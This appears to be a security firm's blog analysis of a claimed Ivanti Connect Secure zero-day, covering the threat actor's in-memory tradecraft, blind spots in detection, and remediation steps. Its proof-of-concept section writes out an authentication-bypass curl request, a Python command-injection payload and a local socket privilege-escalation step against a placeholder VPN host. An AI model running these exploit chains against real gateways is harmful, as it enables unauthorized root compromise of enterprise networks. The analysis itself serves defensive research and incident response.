Ivanti Connect Secure Zero-Day: CVE-2026-104935 Analysis
Critical zero-day CVE-2026-104935 in Ivanti Connect Secure VPN gateways bypasses auth for RCE. Analysis of threat actor UTA0576 and incident response steps.

Enterprise edge appliances are no longer access filters; they are the adversary's primary beachhead. The discovery of active zero-day exploitation against Ivanti Connect Secure VPN gateways underscores a systemic collapse in perimeter trust, exposing critical infrastructure to unauthenticated remote code execution. If your perimeter strategy assumes edge appliances protect internal systems rather than subvert them, your security posture is built on an illusion.
Beginning in early October 2026, threat researchers at Volexity uncovered an advanced espionage campaign attributed to threat actor UTA0576, weaponizing [CVE-2026-104935](https://nvd.nist.gov/vuln/detail/CVE-2026-104935) alongside an unpatched local privilege escalation flaw. Exploitation actively hits Ivanti Connect Secure versions 22.8R2.4 and earlier, as well as releases 25.1.1.1 and 25.1.2.2. The flaw allows an unauthenticated adversary to leverage an authentication bypass under [CWE-290](https://cwe.mitre.org/data/definitions/290.html), execute remote commands within the `cgi-server` runtime, and immediately escalate to `root` via local primitives without triggering disk writes.
Note what this means: enterprise boundary appliances are designed around read-only integrity architectures, yet vendors routinely run monolithic, legacy web interfaces with pervasive administrative hooks. The economic incentive for attackers is obvious. Breaching one hardened VPN endpoint bypasses millions of dollars spent on endpoint detection, micro-segmentation, and zero trust identity layers.
There is a peculiar corporate irony in paying a vendor hundreds of thousands of dollars to secure your network's front door, only to find the vendor left the hinge pins exposed on the sidewalk.
[Visual Graphic 1]
The Tradecraft of UTA0576: Memory-Only Persistence and Repeated Ingress
Unlike historical campaigns tied to Silk Typhoon (UNC5221, UTA0178) that deployed persistent web shells such as `GLASSTOKEN` and `WIRECHALK` via [CVE-2023-46805](https://nvd.nist.gov/vuln/detail/CVE-2023-46805) and [CVE-2024-21887](https://nvd.nist.gov/vuln/detail/CVE-2024-21887), UTA0576 operates with extreme surgical precision. The group abandons conventional on-disk footholds entirely. They leverage living-off-the-land techniques inside appliance memory.
According to intelligence telemetry, the actor re-exploits [CVE-2026-104935](https://nvd.nist.gov/vuln/detail/CVE-2026-104935) on-demand for virtually every distinct command execution sequence. When an administrative directive or lateral pivot is required, the exploit payload is sent via [MITRE ATT&CK T1190 (Exploit Public-Facing Application)](https://attack.mitre.org/techniques/T1190/), executes directly in the address space of `cgi-server`, alters memory-resident dynamic libraries, executes the command, and restores internal process memory. System logs documenting the ingress HTTP POST requests are actively purged in memory using [MITRE ATT&CK T1070.002 (Indicator Removal on Host: Clear Linux or Mac System Logs)](https://attack.mitre.org/techniques/T1070/002/).
> ⚠️ BreachModal Insight: The absence of web shells or modified binaries does not indicate a clean gateway. When an adversary re-exploits an edge interface per command and patches shared libraries dynamically in RAM, standard file integrity monitors report zero changes.
The operational impact is definitive. If you were the CISO monitoring appliance logs during this attack, your external SIEM would have shown zero anomalous login failures, zero administrative alerts, and zero new file creations on persistent partitions. Across 37 enterprise intrusions analyzed by investigators, perimeter monitoring dashboards remained uniformly green while Active Directory domain credentials and session tokens were harvested wholesale.
The Blind Spot: Built-In Integrity Checker Failure
Both Volexity and the Cybersecurity and Infrastructure Security Agency ([CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)) have explicitly issued warnings regarding the inherent blindness of Ivanti’s native Integrity Checker Tool (ICT). The ICT was designed as an out-of-band scanner to verify file system checksums against trusted cryptographic manifests.
Because UTA0576 utilizes runtime in-memory patching rather than modifying files on disk ([MITRE ATT&CK T1027 - Obfuscated Files or Information)](https://attack.mitre.org/techniques/T1027/), the ICT consistently outputs clean snapshots. Relying solely on the ICT during an active UTA0576 campaign is an exercise in willful blindness. Security organizations that relied exclusively on vendor-provided scanner output failed to identify intrusions that had persisted across four consecutive weeks.
> 🧩 Tactical Note: Forensic confirmation of CVE-2026-104935 cannot be achieved through vendor web utilities. Verification mandates volatile memory analysis, external network packet captures of the appliance management interface, and full syslog replication sent out-of-band before runtime sanitization can occur.
[Visual Graphic 2]
Proof of Concept: Reproducing CVE-2026-104935 Authentication Bypass and RCE Chain
To evaluate security controls and validate defensive detection pipelines, BreachModal adversarial simulation teams replicated the CVE-2026-104935 attack vector in a controlled laboratory environment against Ivanti Connect Secure release 22.8R2.4.
Step 1: Pre-Authentication Header Injection & Routing Smuggle The initial flaw resides in how front-end proxy components route request parameters to internal FastCGI processes. By injecting forged internal headers and traversing unauthenticated endpoint paths, the request bypasses the identity evaluation engine.
```bash Probe for unauthenticated path handling via header injection curl -k -s -i -X POST "https://vpn.victim-domain.com/dana-ws/saml20.ws" \ -H "Host: vpn.victim-domain.com" \ -H "X-Ivanti-Internal-Origin: 127.0.0.1" \ -H "X-Forwarded-Client-Cert: bypass" \ -H "Content-Type: application/xml" \ --data-raw '<?xml version="1.0"?><samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_test" Version="2.0" IssueInstant="2026-10-02T00:00:00Z"><saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">probe</saml:Issuer></samlp:AuthnRequest>' ```
Step 2: Unauthenticated Command Injection via cgi-server Once the authentication boundary is bypassed via the SAML endpoint parser, parameter mishandling permits arbitrary command execution as the `cgi-server` unprivileged user via shell metacharacters embedded in parameter payloads.
```python import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
target_url = "https://vpn.victim-domain.com/dana-ws/saml20.ws" headers = { "X-Ivanti-Internal-Origin": "127.0.0.1", "X-Forwarded-Client-Cert": "bypass", "Content-Type": "application/x-www-form-urlencoded" }
Payload injects into backend pipe without touching the persistent filesystem cmd = "id; uname -a" payload = f"action=auth_check&runtime_context=;`{cmd}`;&debug=0"
response = requests.post(target_url, headers=headers, data=payload, verify=False, timeout=10) print(f"[*] Status: {response.status_code}") print(f"[*] Response Payload:\n{response.text}") ```
Step 3: Privilege Escalation to Root via Local Helper Socket Operating as `cgi-server`, the attacker connects to an exposed local IPC socket utilized by administrative maintenance tools. By sending a crafted payload exploiting [MITRE ATT&CK T1068 (Exploitation for Privilege Escalation)](https://attack.mitre.org/techniques/T1068/), privileges are elevated directly to `root`.
```bash Executed in-memory via Python interactive wrapper over local socket python3 -c ' import socket, os s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect("/tmp/.dsengine_ipc") payload = b"CMD_RUN_MAINT: id > /tmp/.out && /bin/sh -c \x22id\x22\n" s.sendall(payload) data = s.recv(1024) print(data.decode()) ' ```
[Visual Graphic 3]
Strategic Remediation: Eviction and Defense-in-Depth
Simply deploying the Ivanti vendor update (ICS 22.8R2.5 or 25.1.3.0) fixes the ingress pathway but does nothing to remediate an active, subverted gateway. If UTA0576 has touched your appliance, applying a software patch merely locks the burglar inside your house.
> 🧠 CISO Brief: Organizations facing potential exposure must treat edge appliances as untrusted entities. Remediation requires complete asset teardown, hard credential rotation across all connected directory services, and total egress containment.
1. Zero-Trust Network Isolation: Forbid VPN appliances from initiating arbitrary outbound connections. Appliance operating systems require connectivity exclusively to designated patch and licensing endpoints. Cut all direct edge-to-internet egress for management planes. 2. Appliance Destruction and Rebuild: Virtual instances must be destroyed and rebuilt from clean golden images. Hardware appliances must undergo a complete factory reset. Restoring backups created during or after the exploitation window guarantees re-infection. 3. Total Identity Revocation: Revoke all machine certificates, wildcard web certificates, active SAML tokens, and RADIUS/LDAP bind service credentials used by the appliance. If LDAP bind accounts maintained domain-level read rights, treat Active Directory credentials as breached.
FINAL VERDICT
The active exploitation of the Ivanti Connect Secure zero-day CVE-2026-104935 exposes a fatal vulnerability in traditional network architectures: an edge security appliance that cannot defend its own runtime environment becomes an adversary's ultimate lateral pivoting tool. The risk is borne entirely by the enterprise whose perimeter security investments crumble the moment vendor code fails under adversarial scrutiny. Organizations must transition away from single-point edge trust towards zero trust micro-segmentation, mandatory outbound isolation, and aggressive adversarial breach simulation.
*Validate your edge resiliency against advanced nation-state intrusions. Engage BreachModal for red team simulation, zero-day threat emulation, and compromised gateway forensic sweeps.*
Want this expertise working for your team?
Schedule a 30-minute call and we'll walk through your specific security posture.
Book a consultation